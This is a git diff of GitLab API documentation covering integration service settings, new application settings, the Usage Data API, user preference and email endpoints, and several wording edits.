-| `api_key` | string | true | User API token. User must have access to task, all comments are attributed to this user. |
-| `restrict_to_branch` | string | false | Comma-separated list of branches which are automatically inspected. Leave blank to include all branches. |
+| `api_key` | string | true | User API token. User must have access to task. All comments are attributed to this user. |
+| `restrict_to_branch` | string | false | Comma-separated list of branches to be are automatically inspected. Leave blank to include all branches. |
| `push_events` | boolean | false | Enable notifications for push events |
### Delete Asana service
@@ -536,13 +536,13 @@ Get Confluence service settings for a project.
GET /projects/:id/services/confluence
```
-## External Wiki
+## External wiki
Replaces the link to the internal wiki with a link to an external wiki.
-### Create/Edit External Wiki service
+### Create/Edit External wiki service
-Set External Wiki service for a project.
+Set External wiki service for a project.
```plaintext
PUT /projects/:id/services/external-wiki
@@ -552,19 +552,19 @@ Parameters:
| Parameter | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `external_wiki_url` | string | true | The URL of the external Wiki |
+| `external_wiki_url` | string | true | The URL of the external wiki |
-### Delete External Wiki service
+### Delete External wiki service
-Delete External Wiki service for a project.
+Delete External wiki service for a project.
```plaintext
DELETE /projects/:id/services/external-wiki
```
-### Get External Wiki service settings
+### Get External wiki service settings
-Get External Wiki service settings for a project.
+Get External wiki service settings for a project.
```plaintext
GET /projects/:id/services/external-wiki
@@ -692,53 +692,6 @@ Get Hangouts Chat service settings for a project.
GET /projects/:id/services/hangouts-chat
```
-## HipChat
-
-Private group chat and IM
-
-### Create/Edit HipChat service
-
-Set HipChat service for a project.
-
-```plaintext
-PUT /projects/:id/services/hipchat
-```
-
-Parameters:
-
-| Parameter | Type | Required | Description |
-| --------- | ---- | -------- | ----------- |
-| `token` | string | true | Room token |
-| `color` | string | false | The room color |
-| `notify` | boolean | false | Enable notifications |
-| `room` | string | false |Room name or ID |
-| `api_version` | string | false | Leave blank for default (v2) |
-| `server` | string | false | Leave blank for default. For example, `https://hipchat.example.com`. |
-| `push_events` | boolean | false | Enable notifications for push events |
-| `issues_events` | boolean | false | Enable notifications for issue events |
-| `confidential_issues_events` | boolean | false | Enable notifications for confidential issue events |
-| `merge_requests_events` | boolean | false | Enable notifications for merge request events |
-| `tag_push_events` | boolean | false | Enable notifications for tag push events |
-| `note_events` | boolean | false | Enable notifications for note events |
-| `confidential_note_events` | boolean | false | Enable notifications for confidential note events |
-| `pipeline_events` | boolean | false | Enable notifications for pipeline events |
-
-### Delete HipChat service
-
-Delete HipChat service for a project.
-
-```plaintext
-DELETE /projects/:id/services/hipchat
-```
-
-### Get HipChat service settings
-
-Get HipChat service settings for a project.
-
-```plaintext
-GET /projects/:id/services/hipchat
-```
-
## Irker (IRC gateway)
Send IRC messages, on update, to a list of recipients through an Irker gateway.
@@ -814,7 +767,8 @@ Parameters:
| `username` | string | yes | The username of the user created to be used with GitLab/Jira. |
| `password` | string | yes | The password of the user created to be used with GitLab/Jira. |
| `active` | boolean | no | Activates or deactivates the service. Defaults to false (deactivated). |
-| `jira_issue_transition_id` | string | no | The ID of a transition that moves issues to a closed state. You can find this number under the Jira workflow administration (**Administration > Issues > Workflows**) by selecting **View** under **Operations** of the desired workflow of your project. The ID of each state can be found inside the parenthesis of each transition name under the transitions ID column. By default, this ID is set to `2`. |
+| `jira_issue_transition_automatic` | boolean | no | Enable [automatic issue transitions](../integration/jira/issues.md#automatic-issue-transitions). Takes precedence over `jira_issue_transition_id` if enabled. Defaults to `false` |
+| `jira_issue_transition_id` | string | no | The ID of one or more transitions for [custom issue transitions](../integration/jira/issues.md#custom-issue-transitions). Ignored if `jira_issue_transition_automatic` is enabled. Defaults to a blank string, which disables custom transitions. |
| `commit_events` | boolean | false | Enable notifications for commit events |
| `merge_requests_events` | boolean | false | Enable notifications for merge request events |
| `comment_on_event_enabled` | boolean | false | Enable comments inside Jira issues on each GitLab event (commit / merge request) |
diff --git a/doc/api/settings.md b/doc/api/settings.md
index 91cbbeaf50a..6322f14442c 100644
--- a/doc/api/settings.md
+++ b/doc/api/settings.md
@@ -86,7 +86,11 @@ Example response:
"require_admin_approval_after_user_signup": false,
"personal_access_token_prefix": "GL-",
"rate_limiting_response_text": null,
- "keep_latest_artifact": true
+ "keep_latest_artifact": true,
+ "admin_mode": false,
+ "external_pipeline_validation_service_timeout": null,
+ "external_pipeline_validation_service_token": null,
+ "external_pipeline_validation_service_url": null
}
```
@@ -181,7 +185,11 @@ Example response:
"require_admin_approval_after_user_signup": false,
"personal_access_token_prefix": "GL-",
"rate_limiting_response_text": null,
- "keep_latest_artifact": true
+ "keep_latest_artifact": true,
+ "admin_mode": false,
+ "external_pipeline_validation_service_timeout": null,
+ "external_pipeline_validation_service_token": null,
+ "external_pipeline_validation_service_url": null
}
```
@@ -208,6 +216,7 @@ listed in the descriptions of the relevant settings.
| Attribute | Type | Required | Description |
|------------------------------------------|------------------|:------------------------------------:|-------------|
+| `admin_mode` | boolean | no | Require admins to enable Admin Mode by re-authenticating for administrative tasks. |
| `admin_notification_email` | string | no | Deprecated: Use `abuse_notification_email` instead. If set, [abuse reports](../user/admin_area/abuse_reports.md) are sent to this address. Abuse reports are always available in the Admin Area. |
| `abuse_notification_email` | string | no | If set, [abuse reports](../user/admin_area/abuse_reports.md) are sent to this address. Abuse reports are always available in the Admin Area. |
| `after_sign_out_path` | string | no | Where to redirect users after logout. |
@@ -227,12 +236,12 @@ listed in the descriptions of the relevant settings.
| `authorized_keys_enabled` | boolean | no | By default, we write to the `authorized_keys` file to support Git over SSH without additional configuration. GitLab can be optimized to authenticate SSH keys via the database file. Only disable this if you have configured your OpenSSH server to use the AuthorizedKeysCommand. |
| `auto_devops_domain` | string | no | Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages. |
| `auto_devops_enabled` | boolean | no | Enable Auto DevOps for projects by default. It automatically builds, tests, and deploys applications based on a predefined CI/CD configuration. |
-| `automatic_purchased_storage_allocation` | boolean | no | Enabling this permits automatic allocation of purchased storage within a namespace. |
+| `automatic_purchased_storage_allocation` | boolean | no | Enabling this permits automatic allocation of purchased storage in a namespace. |
| `check_namespace_plan` | boolean | no | **(PREMIUM)** Enabling this makes only licensed EE features available to projects if the project namespace's plan includes the feature or if the project is public. |
| `commit_email_hostname` | string | no | Custom hostname (for private commit emails). |
| `container_registry_token_expire_delay` | integer | no | Container Registry token duration in minutes. |
| `default_artifacts_expire_in` | string | no | Set the default expiration time for each job's artifacts. |
-| `default_branch_protection` | integer | no | Determine if developers can push to master. Can take: `0` _(not protected, both developers and maintainers can push new commits, force push, or delete the branch)_, `1` _(partially protected, developers and maintainers can push new commits, but cannot force push, or delete, the branch)_ or `2` _(fully protected, developers cannot push new commits, but maintainers can; no-one can force push or delete the branch)_ as a parameter. Default is `2`. |
+| `default_branch_protection` | integer | no | Determine if developers can push to the default branch. Can take: `0` _(not protected, both developers and maintainers can push new commits, force push, or delete the branch)_, `1` _(partially protected, developers and maintainers can push new commits, but cannot force push, or delete, the branch)_ or `2` _(fully protected, developers cannot push new commits, but maintainers can; no-one can force push or delete the branch)_ as a parameter. Default is `2`. |
| `default_ci_config_path` | string | no | Default CI configuration path for new projects (`.gitlab-ci.yml` if not set). |
| `default_group_visibility` | string | no | What visibility level new groups receive. Can take `private`, `internal` and `public` as a parameter. Default is `private`. |
| `default_project_creation` | integer | no | Default project creation protection. Can take: `0` _(No one)_, `1` _(Maintainers)_ or `2` _(Developers + Maintainers)_|
@@ -280,6 +289,9 @@ listed in the descriptions of the relevant settings.
| `external_authorization_service_enabled` | boolean | no | (**If enabled, requires:** `external_authorization_service_default_label`, `external_authorization_service_timeout` and `external_authorization_service_url`) Enable using an external authorization service for accessing projects |
| `external_authorization_service_timeout` | float | required by:<br>`external_authorization_service_enabled` | The timeout after which an authorization request is aborted, in seconds. When a request times out, access is denied to the user. (min: 0.001, max: 10, step: 0.001). |
| `external_authorization_service_url` | string | required by:<br>`external_authorization_service_enabled` | URL to which authorization requests are directed. |
+| `external_pipeline_validation_service_url` | string | no | URL to which pipeline validation requests are directed. |
+| `external_pipeline_validation_service_token` | string | no | An optional token to include as the `X-Gitlab-Token` header in requests to the URL in external_pipeline_validation_service_url. |
+| `external_pipeline_validation_service_timeout` | integer | no | How long to wait for a response from the pipeline validation service before giving up and assuming 'OK'. |
| `file_template_project_id` | integer | no | **(PREMIUM)** The ID of a project to load custom file templates from |
| `first_day_of_week` | integer | no | Start day of the week for calendar views and date pickers. Valid values are `0` (default) for Sunday, `1` for Monday, and `6` for Saturday. |
| `geo_node_allowed_ips` | string | yes | **(PREMIUM)** Comma-separated list of IPs and CIDRs of allowed secondary nodes. For example, `1.1.1.1, 2.2.2.0/24`. |
@@ -291,12 +303,12 @@ listed in the descriptions of the relevant settings.
| `grafana_enabled` | boolean | no | Enable Grafana. |
| `grafana_url` | string | no | Grafana URL. |
| `gravatar_enabled` | boolean | no | Enable Gravatar. |
-| `hashed_storage_enabled` | boolean | no | Create new projects using hashed storage paths: Enable immutable, hash-based paths and repository names to store repositories on disk. This prevents repositories from having to be moved or renamed when the Project URL changes and may improve disk I/O performance. (Always enabled since 13.0, configuration is scheduled for removal in 14.0) |
+| `hashed_storage_enabled` | boolean | no | Create new projects using hashed storage paths: Enable immutable, hash-based paths and repository names to store repositories on disk. This prevents repositories from having to be moved or renamed when the Project URL changes and may improve disk I/O performance. (Always enabled in GitLab versions 13.0 and later, configuration is scheduled for removal in 14.0) |
| `help_page_hide_commercial_content` | boolean | no | Hide marketing-related entries from help. |
| `help_page_support_url` | string | no | Alternate support URL for help page and help dropdown. |
| `help_page_text` | string | no | Custom text displayed on the help page. |
| `help_text` | string | no | **(PREMIUM)** GitLab server administrator information |
-| `hide_third_party_offers` | boolean | no | Do not display offers from third parties within GitLab. |
+| `hide_third_party_offers` | boolean | no | Do not display offers from third parties in GitLab. |
| `home_page_url` | string | no | Redirect to this URL when not logged in. |
| `housekeeping_bitmaps_enabled` | boolean | required by: `housekeeping_enabled` | Enable Git pack file bitmap creation. |
| `housekeeping_enabled` | boolean | no | (**If enabled, requires:** `housekeeping_bitmaps_enabled`, `housekeeping_full_repack_period`, `housekeeping_gc_period`, and `housekeeping_incremental_repack_period`) Enable or disable Git housekeeping. |
@@ -305,7 +317,7 @@ listed in the descriptions of the relevant settings.
| `housekeeping_incremental_repack_period` | integer | required by: `housekeeping_enabled` | Number of Git pushes after which an incremental `git repack` is run. |
| `html_emails_enabled` | boolean | no | Enable HTML emails. |
| `import_sources` | array of strings | no | Sources to allow project import from, possible values: `github`, `bitbucket`, `bitbucket_server`, `gitlab`, `fogbugz`, `git`, `gitlab_project`, `gitea`, `manifest`, and `phabricator`. |
-| `in_product_marketing_emails_enabled` | boolean | no | Enable in-product marketing emails. Enabled by default. |
+| `in_product_marketing_emails_enabled` | boolean | no | Enable [in-product marketing emails](../user/profile/notifications.md#global-notification-settings). Enabled by default. |
| `invisible_captcha_enabled` | boolean | no | <!-- vale gitlab.Spelling = NO --> Enable Invisible Captcha <!-- vale gitlab.Spelling = YES --> spam detection during sign-up. Disabled by default. |
| `issues_create_limit` | integer | no | Max number of issue creation requests per minute per user. Disabled by default.|
| `keep_latest_artifact` | boolean | no | Prevent the deletion of the artifacts from the most recent successful jobs, regardless of the expiry time. Enabled by default. |
@@ -318,7 +330,7 @@ listed in the descriptions of the relevant settings.
| `max_pages_size` | integer | no | Maximum size of pages repositories in MB |
| `max_personal_access_token_lifetime` | integer | no | **(ULTIMATE SELF)** Maximum allowable lifetime for personal access tokens in days |
| `metrics_method_call_threshold` | integer | no | A method call is only tracked when it takes longer than the given amount of milliseconds. |
-| `mirror_available` | boolean | no | Allow repository mirroring to configured by project Maintainers. If disabled, only Admins can configure repository mirroring. |
+| `mirror_available` | boolean | no | Allow repository mirroring to configured by project Maintainers. If disabled, only Administrators can configure repository mirroring. |
| `mirror_capacity_threshold` | integer | no | **(PREMIUM)** Minimum capacity to be available before scheduling more mirrors preemptively |
| `mirror_max_capacity` | integer | no | **(PREMIUM)** Maximum number of mirrors that can be synchronizing at the same time. |
| `mirror_max_delay` | integer | no | **(PREMIUM)** Maximum time (in minutes) between updates that a mirror can have when scheduled to synchronize. |
@@ -352,7 +364,7 @@ listed in the descriptions of the relevant settings.
| `repository_storages` | array of strings | no | (GitLab 13.0 and earlier) List of names of enabled storage paths, taken from `gitlab.yml`. New projects are created in one of these stores, chosen at random. |
| `require_admin_approval_after_user_signup` | boolean | no | When enabled, any user that signs up for an account using the registration form is placed under a **Pending approval** state and has to be explicitly [approved](../user/admin_area/approving_users.md) by an administrator. |
| `require_two_factor_authentication` | boolean | no | (**If enabled, requires:** `two_factor_grace_period`) Require all users to set up Two-factor authentication. |
-| `restricted_visibility_levels` | array of strings | no | Selected levels cannot be used by non-admin users for groups, projects or snippets. Can take `private`, `internal` and `public` as a parameter. Default is `null` which means there is no restriction. |
+| `restricted_visibility_levels` | array of strings | no | Selected levels cannot be used by non-Administrator users for groups, projects or snippets. Can take `private`, `internal` and `public` as a parameter. Default is `null` which means there is no restriction. |
| `rsa_key_restriction` | integer | no | The minimum allowed bit length of an uploaded RSA key. Default is `0` (no restriction). `-1` disables RSA keys. |
| `send_user_confirmation_email` | boolean | no | Send confirmation email on sign-up. |
| `session_expire_delay` | integer | no | Session duration in minutes. GitLab restart is required to apply changes |
diff --git a/doc/api/snippet_repository_storage_moves.md b/doc/api/snippet_repository_storage_moves.md
index 80037dd7aa3..cc7f703f334 100644
--- a/doc/api/snippet_repository_storage_moves.md
+++ b/doc/api/snippet_repository_storage_moves.md
@@ -10,8 +10,8 @@ type: reference
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49228) in GitLab 13.8.
Snippet repositories can be moved between storages. This can be useful when
-[migrating to Gitaly Cluster](../administration/gitaly/praefect.md#migrate-existing-repositories-to-gitaly-cluster),
-for example.
+[migrating to Gitaly Cluster](../administration/gitaly/praefect.md#migrate-to-gitaly-cluster), for
+example.
As snippet repository storage moves are processed, they transition through different states. Values
of `state` are:
diff --git a/doc/api/templates/dockerfiles.md b/doc/api/templates/dockerfiles.md
index a86dc36e141..6eedf8d2bc0 100644
--- a/doc/api/templates/dockerfiles.md
+++ b/doc/api/templates/dockerfiles.md
@@ -1,15 +1,22 @@
---
-stage: none
-group: unassigned
+stage: Create
+group: Source Code
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
# Dockerfiles API
-In GitLab, there is an API endpoint available for Dockerfiles. For more
-information on Dockerfiles, see the
-[Docker documentation](https://docs.docker.com/engine/reference/builder/).
+GitLab provides an API endpoint for instance-level Dockerfile templates.
+Default templates are defined at
+[`vendor/Dockerfile`](https://gitlab.com/gitlab-org/gitlab-foss/-/tree/master/vendor/Dockerfile)
+in the GitLab repository.
+
+## Override Dockerfile API templates **(PREMIUM SELF)**
+
+In [GitLab Premium and higher](https://about.gitlab.com/pricing/) tiers, GitLab instance
+administrators can override templates in the
+[Admin Area](../../user/admin_area/settings/instance_template_repository.md).
## List Dockerfile templates
diff --git a/doc/api/templates/gitlab_ci_ymls.md b/doc/api/templates/gitlab_ci_ymls.md
index 8f78c600392..9475febdaec 100644
--- a/doc/api/templates/gitlab_ci_ymls.md
+++ b/doc/api/templates/gitlab_ci_ymls.md
@@ -135,7 +135,7 @@ Example response:
```json
{
"name": "Ruby",
- "content": "# This file is a template, and might need editing before it works on your project.\n# Official language image. Look for the different tagged releases at:\n# https://hub.docker.com/r/library/ruby/tags/\nimage: \"ruby:2.5\"\n\n# Pick zero or more services to be used on all builds.\n# Only needed when using a docker container to run your tests in.\n# Check out: http://docs.gitlab.com/ee/ci/docker/using_docker_images.html#what-is-a-service\nservices:\n - mysql:latest\n - redis:latest\n - postgres:latest\n\nvariables:\n POSTGRES_DB: database_name\n\n# Cache gems in between builds\ncache:\n paths:\n - vendor/ruby\n\n# This is a basic example for a gem or script which doesn't use\n# services such as redis or postgres\nbefore_script:\n - ruby -v # Print out ruby version for debugging\n # Uncomment next line if your rails app needs a JS runtime:\n # - apt-get update -q && apt-get install nodejs -yqq\n - bundle install -j $(nproc) --path vendor # Install dependencies into ./vendor/ruby\n\n# Optional - Delete if not using `rubocop`\nrubocop:\n script:\n - rubocop\n\nrspec:\n script:\n - rspec spec\n\nrails:\n variables:\n DATABASE_URL: \"postgresql://postgres:postgres@postgres:5432/$POSTGRES_DB\"\n script:\n - rails db:migrate\n - rails db:seed\n - rails test\n\n# This deploy job uses a simple deploy flow to Heroku, other providers, e.g. AWS Elastic Beanstalk\n# are supported too: https://github.com/travis-ci/dpl\ndeploy:\n type: deploy\n environment: production\n script:\n - gem install dpl\n - dpl --provider=heroku --app=$HEROKU_APP_NAME --api-key=$HEROKU_PRODUCTION_KEY\n"
+ "content": "# This file is a template, and might need editing before it works on your project.\n# Official language image. Look for the different tagged releases at:\n# https://hub.docker.com/r/library/ruby/tags/\nimage: \"ruby:2.5\"\n\n# Pick zero or more services to be used on all builds.\n# Only needed when using a docker container to run your tests in.\n# Check out: http://docs.gitlab.com/ee/ci/services/index.html\n - mysql:latest\n - redis:latest\n - postgres:latest\n\nvariables:\n POSTGRES_DB: database_name\n\n# Cache gems in between builds\ncache:\n paths:\n - vendor/ruby\n\n# This is a basic example for a gem or script which doesn't use\n# services such as redis or postgres\nbefore_script:\n - ruby -v # Print out ruby version for debugging\n # Uncomment next line if your rails app needs a JS runtime:\n # - apt-get update -q && apt-get install nodejs -yqq\n - bundle install -j $(nproc) --path vendor # Install dependencies into ./vendor/ruby\n\n# Optional - Delete if not using `rubocop`\nrubocop:\n script:\n - rubocop\n\nrspec:\n script:\n - rspec spec\n\nrails:\n variables:\n DATABASE_URL: \"postgresql://postgres:postgres@postgres:5432/$POSTGRES_DB\"\n script:\n - rails db:migrate\n - rails db:seed\n - rails test\n\n# This deploy job uses a simple deploy flow to Heroku, other providers, e.g. AWS Elastic Beanstalk\n# are supported too: https://github.com/travis-ci/dpl\ndeploy:\n type: deploy\n environment: production\n script:\n - gem install dpl\n - dpl --provider=heroku --app=$HEROKU_APP_NAME --api-key=$HEROKU_PRODUCTION_KEY\n"
}
```
diff --git a/doc/api/usage_data.md b/doc/api/usage_data.md
new file mode 100644
index 00000000000..024caa96565
--- /dev/null
+++ b/doc/api/usage_data.md
@@ -0,0 +1,160 @@
+---
+stage: Growth
+group: Product Intelligence
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+type: reference, api
+---
+
+# Usage Data API **(FREE SELF)**
+
+The Usage Data API is associated with [Usage Ping](../development/usage_ping/index.md).
+
+## Export metric definitions as a single YAML file
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57270) in GitLab 13.11.
+
+Export all metric definitions as a single YAML file, similar to the [Metrics Dictionary](../development/usage_ping/dictionary.md), for easier importing.
+
+```plaintext
+GET /usage_data/metric_definitions
+```
+
+Example request:
+
+```shell
+curl "https://gitlab.example.com/api/v4/usage_data/metric_definitions"
+```
+
+Example response:
+
+```yaml
+---
+- key_path: redis_hll_counters.search.i_search_paid_monthly
+ description: Calculated unique users to perform a search with a paid license enabled
+ by month
+ product_section: enablement
+ product_stage: enablement
+ product_group: group::global search
+ product_category: global_search
+ value_type: number
+ status: data_available
+ time_frame: 28d
+ data_source: redis_hll
+ distribution:
+ - ee
+ tier:
+ - premium
+ - ultimate
+...
+```
+
+## Export Usage Ping SQL queries
+
+This action is available only for the GitLab instance [Administrator](../user/permissions.md) users.
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57016) in GitLab 13.11.
+> - [Deployed behind a feature flag](../user/feature_flags.md), disabled by default.
+
+Return all of the raw SQL queries used to compute Usage Ping.
+
+```plaintext
+GET /usage_data/queries
+```
+
+Example request:
+
+```shell
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/usage_data/queries"
+```
+
+Example response:
+
+```json
+{
+ "recorded_at": "2021-03-23T06:31:21.267Z",
+ "uuid": null,
+ "hostname": "localhost",
+ "version": "13.11.0-pre",
+ "installation_type": "gitlab-development-kit",
+ "active_user_count": "SELECT COUNT(\"users\".\"id\") FROM \"users\" WHERE (\"users\".\"state\" IN ('active')) AND (\"users\".\"user_type\" IS NULL OR \"users\".\"user_type\" IN (NULL, 6, 4))",
+ "edition": "EE",
+ "license_md5": "c701acc03844c45366dd175ef7a4e19c",
+ "license_id": null,
+ "historical_max_users": 0,
+ "licensee": {
+ "Name": "John Doe1"
+ },
+ "license_user_count": null,
+ "license_starts_at": "1970-01-01",
+ "license_expires_at": "2022-02-23",
+ "license_plan": "starter",
+ "license_add_ons": {
+ "GitLab_FileLocks": 1,
+ "GitLab_Auditor_User": 1
+ },
+ "license_trial": null,
+ "license_subscription_id": "0000",
+ "license": {},
+ "settings": {
+ "ldap_encrypted_secrets_enabled": false,
+ "operating_system": "mac_os_x-11.2.2"
+ },
+ "counts": {
+ "assignee_lists": "SELECT COUNT(\"lists\".\"id\") FROM \"lists\" WHERE \"lists\".\"list_type\" = 3",
+ "boards": "SELECT COUNT(\"boards\".\"id\") FROM \"boards\"",
+ "ci_builds": "SELECT COUNT(\"ci_builds\".\"id\") FROM \"ci_builds\" WHERE \"ci_builds\".\"type\" = 'Ci::Build'",
+ "ci_internal_pipelines": "SELECT COUNT(\"ci_pipelines\".\"id\") FROM \"ci_pipelines\" WHERE (\"ci_pipelines\".\"source\" IN (1, 2, 3, 4, 5, 7, 8, 9, 10, 11, 12, 13) OR \"ci_pipelines\".\"source\" IS NULL)",
+ "ci_external_pipelines": "SELECT COUNT(\"ci_pipelines\".\"id\") FROM \"ci_pipelines\" WHERE \"ci_pipelines\".\"source\" = 6",
+ "ci_pipeline_config_auto_devops": "SELECT COUNT(\"ci_pipelines\".\"id\") FROM \"ci_pipelines\" WHERE \"ci_pipelines\".\"config_source\" = 2",
+ "ci_pipeline_config_repository": "SELECT COUNT(\"ci_pipelines\".\"id\") FROM \"ci_pipelines\" WHERE \"ci_pipelines\".\"config_source\" = 1",
+ "ci_runners": "SELECT COUNT(\"ci_runners\".\"id\") FROM \"ci_runners\"",
+...
+```
+
+## UsageDataNonSqlMetrics API
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57050) in GitLab 13.11.
+> - [Deployed behind a feature flag](../user/feature_flags.md), disabled by default.
+
+Return all non-SQL metrics data used in the usage ping.
+
+Example request:
+
+```shell
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/usage_data/non_sql_metrics"
+```
+
+Sample response:
+
+```json
+{
+ "recorded_at": "2021-03-26T07:04:03.724Z",
+ "uuid": null,
+ "hostname": "localhost",
+ "version": "13.11.0-pre",
+ "installation_type": "gitlab-development-kit",
+ "active_user_count": -3,
+ "edition": "EE",
+ "license_md5": "bb8cd0d8a6d9569ff3f70b8927a1f949",
+ "license_id": null,
+ "historical_max_users": 0,
+ "licensee": {
+ "Name": "John Doe1"
+ },
+ "license_user_count": null,
+ "license_starts_at": "1970-01-01",
+ "license_expires_at": "2022-02-26",
+ "license_plan": "starter",
+ "license_add_ons": {
+ "GitLab_FileLocks": 1,
+ "GitLab_Auditor_User": 1
+ },
+ "license_trial": null,
+ "license_subscription_id": "0000",
+ "license": {},
+ "settings": {
+ "ldap_encrypted_secrets_enabled": false,
+ "operating_system": "mac_os_x-11.2.2"
+ },
+...
+```
diff --git a/doc/api/users.md b/doc/api/users.md
index b8917f3e215..0e4012935f9 100644
--- a/doc/api/users.md
+++ b/doc/api/users.md
@@ -346,6 +346,7 @@ Example Responses:
"two_factor_enabled": true,
"external": false,
"private_profile": false,
+ "commit_email": "john-codes@example.com",
"current_sign_in_ip": "196.165.1.102",
"last_sign_in_ip": "172.127.2.22",
"plan": "gold",
@@ -440,7 +441,6 @@ Parameters:
| `private_profile` | No | User's profile is private - true, false (default), or null (is converted to false) |
| `projects_limit` | No | Number of projects user can create |
| `provider` | No | External provider name |
-| `public_email` | No | The public email of the user |
| `reset_password` | No | Send user password reset link - true or false(default) |
| `shared_runners_minutes_limit` | No | Pipeline minutes quota for this user (included in plan). Can be `nil` (default; inherit system default), `0` (unlimited) or `> 0` **(STARTER)** |
| `skip_confirmation` | No | Skip confirmation - true or false (default) |
@@ -483,7 +483,7 @@ Parameters:
| `private_profile` | No | User's profile is private - true, false (default), or null (is converted to false) |
| `projects_limit` | No | Limit projects each user can create |
| `provider` | No | External provider name |
-| `public_email` | No | The public email of the user |
+| `public_email` | No | The public email of the user (must be already verified) |
| `shared_runners_minutes_limit` | No | Pipeline minutes quota for this user (included in plan). Can be `nil` (default; inherit system default), `0` (unlimited) or `> 0` **(STARTER)** |
| `skip_reconfirmation` | No | Skip reconfirmation - true or false (default) |
| `skype` | No | Skype ID |
@@ -622,6 +622,7 @@ GET /user
"two_factor_enabled": true,
"external": false,
"private_profile": false,
+ "commit_email": "john-codes@example.com",
"current_sign_in_ip": "196.165.1.102",
"last_sign_in_ip": "172.127.2.22"
}
@@ -644,6 +645,7 @@ Example response:
```json
{
"emoji":"coffee",
+ "availability":"busy",
"message":"I crave coffee :coffee:",
"message_html": "I crave coffee <gl-emoji title=\"hot beverage\" data-name=\"coffee\" data-unicode-version=\"4.0\">☕</gl-emoji>",
"clear_status_at": null
@@ -671,12 +673,35 @@ Example response:
```json
{
"emoji":"coffee",
+ "availability":"busy",
"message":"I crave coffee :coffee:",
"message_html": "I crave coffee <gl-emoji title=\"hot beverage\" data-name=\"coffee\" data-unicode-version=\"4.0\">☕</gl-emoji>",
"clear_status_at": null
}
```
+## User preference modification
+
+Update the current user's preferences.
+
+```plaintext
+PUT /user/preferences
+```
+
+```json
+{
+ "id": 1,
+ "user_id": 1
+ "view_diffs_file_by_file": true
+}
+```
+
+Parameters:
+
+| Attribute | Required | Description |
+| :--------------------------- | :------- | :---------------------------------------------------------- |
+| `view_diffs_file_by_file` | Yes | Flag indicating the user sees only one file diff per page. |
+
## Set user status
Set the status of the current user.
@@ -1190,11 +1215,13 @@ GET /user/emails
[
{
"id": 1,
- "email": "email@example.com"
+ "email": "email@example.com",
+ "confirmed_at" : "2021-03-26T19:07:56.248Z"
},
{
"id": 3,
- "email": "email2@example.com"
+ "email": "email2@example.com",
+ "confirmed_at" : null
}
]
```
@@ -1234,7 +1261,8 @@ Parameters:
```json
{
"id": 1,
- "email": "email@example.com"
+ "email": "email@example.com",
+ "confirmed_at" : "2021-03-26T19:07:56.248Z"
}
```
@@ -1253,7 +1281,8 @@ Parameters:
```json
{
"id": 4,
- "email": "email@example.com"
+ "email": "email@example.com",
+ "confirmed_at" : "2021-03-26T19:07:56.248Z"
}
```
diff --git a/doc/api/vulnerabilities.md b/doc/api/vulnerabilities.md
index 8296292c1f8..a7412ca97f1 100644
--- a/doc/api/vulnerabilities.md
+++ b/doc/api/vulnerabilities.md
@@ -15,9 +15,11 @@ This document now describes the new Vulnerabilities API that provides access to
[Vulnerabilities](https://gitlab.com/groups/gitlab-org/-/epics/634).
WARNING:
-This API is in an alpha stage and considered unstable.
+This API is in the process of being deprecated and considered unstable.
The response payload may be subject to change or breakage
-across GitLab releases.
+across GitLab releases. Please use the
+[GraphQL API](graphql/reference/index.md#vulnerabilities)
+instead.
Every API call to vulnerabilities must be [authenticated](README.md#authentication).
diff --git a/doc/api/vulnerability_findings.md b/doc/api/vulnerability_findings.md
index 4144a912617..b4791ee8365 100644
--- a/doc/api/vulnerability_findings.md
+++ b/doc/api/vulnerability_findings.md
@@ -131,6 +131,18 @@ Example response:
"version": "1.5.0"
}
},
+ "details": {
+ "custom_field": {
+ "name": "URLs",
+ "type": "list",
+ "items": [
+ {
+ "type": "url",
+ "href": "http://site.com/page/1"
+ }
+ ]
+ }
+ },
"solution": "Upgrade to fixed version.\r\n",
"blob_path": "/tests/yarn-remediation-test/blob/cc6c4a0778460455ae5d16ca7025ca9ca1ca75ac/yarn.lock"
}
diff --git a/doc/api/wikis.md b/doc/api/wikis.md
index 1b8d091e3fd..569708cdfcc 100644
--- a/doc/api/wikis.md
+++ b/doc/api/wikis.md
@@ -9,7 +9,8 @@ type: reference, api
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13372) in GitLab 10.0.
-Available only in APIv4.
+The project [wikis](../user/project/wiki/index.md) API is available only in APIv4.
+An API for [group wikis](group_wikis.md) is also available.
## List wiki pages
diff --git a/doc/architecture/blueprints/container_registry_metadata_database/index.md b/doc/architecture/blueprints/container_registry_metadata_database/index.md
index f9b59ec92f9..4e40f249e56 100644
--- a/doc/architecture/blueprints/container_registry_metadata_database/index.md
+++ b/doc/architecture/blueprints/container_registry_metadata_database/index.md
@@ -12,7 +12,7 @@ description: 'Container Registry metadata database'
With the [Container Registry](https://gitlab.com/gitlab-org/container-registry) integrated into GitLab, every GitLab project can have its own space to store its Docker images. You can use the registry to build, push and share images using the Docker client, CI/CD or the GitLab API.
-Each day on GitLab.com, between [150k and 200k images are pushed to the registry](https://app.periscopedata.com/app/gitlab/527857/Package-GitLab.com-Stage-Activity-Dashboard?widget=9620193&udv=0), generating about [700k API events](https://app.periscopedata.com/app/gitlab/527857/Package-GitLab.com-Stage-Activity-Dashboard?widget=7601761&udv=0). It’s also worth noting that although some customers use other registry vendors, [more than 96% of instances](https://app.periscopedata.com/app/gitlab/527857/Package-GitLab.com-Stage-Activity-Dashboard?widget=9832282&udv=0) are using the GitLab Container Registry.
